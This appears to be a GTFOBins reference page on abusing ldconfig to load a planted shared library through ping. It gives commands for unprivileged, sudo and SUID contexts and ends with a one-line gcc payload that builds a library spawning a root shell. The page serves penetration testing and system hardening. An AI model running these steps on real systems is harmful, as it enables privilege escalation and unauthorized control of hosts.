ldconfig | GTFOBins

.. / ldconfig

Sponsor Fork Star

Library load

This executable can load shared libraries that may be used to run arbitrary code in the same execution context.

Comment

This allows to override one or more shared libraries (e.g., libpcap) globally, then triggers the execution by running a program that uses it, e.g., ping. This is particularly useful if the target binary is SUID. Beware though that it is easy to end up with a broken target system.

First identify the shared libraries used by the target program, for example:

$ ldd /bin/ping | grep libcap
        libcap.so.2 => /path/to/temp-dir/libcap.so.2 (0x00007f8417eef000)

Then create the shared library override, named libcap.so.2, and put in in /path/to/temp-dir/. The program might require some exported symbols from the library override, in that case make sure to add them (e.g., void cap_get_flag() {}).

Unprivileged

This function can be performed by any unprivileged user.

echo /path/to/temp-dir/ >/path/to/temp-file
ldconfig -f /path/to/temp-file
ping

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

echo /path/to/temp-dir/ >/path/to/temp-file
ldconfig -f /path/to/temp-file
ping

SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

echo /path/to/temp-dir/ >/path/to/temp-file
ldconfig -f /path/to/temp-file
ping

Payload

As an example, the following can be used to create a minimal shared library (lib.so) that spawns a shell upon loading:

echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
    | gcc -w -fPIC -shared -o lib.so -x c -

Add the usual -p argument to the shell for SUID contexts. Consider calling setuid(0); beforehand if the executable has the CAP_SETUID capability assigned.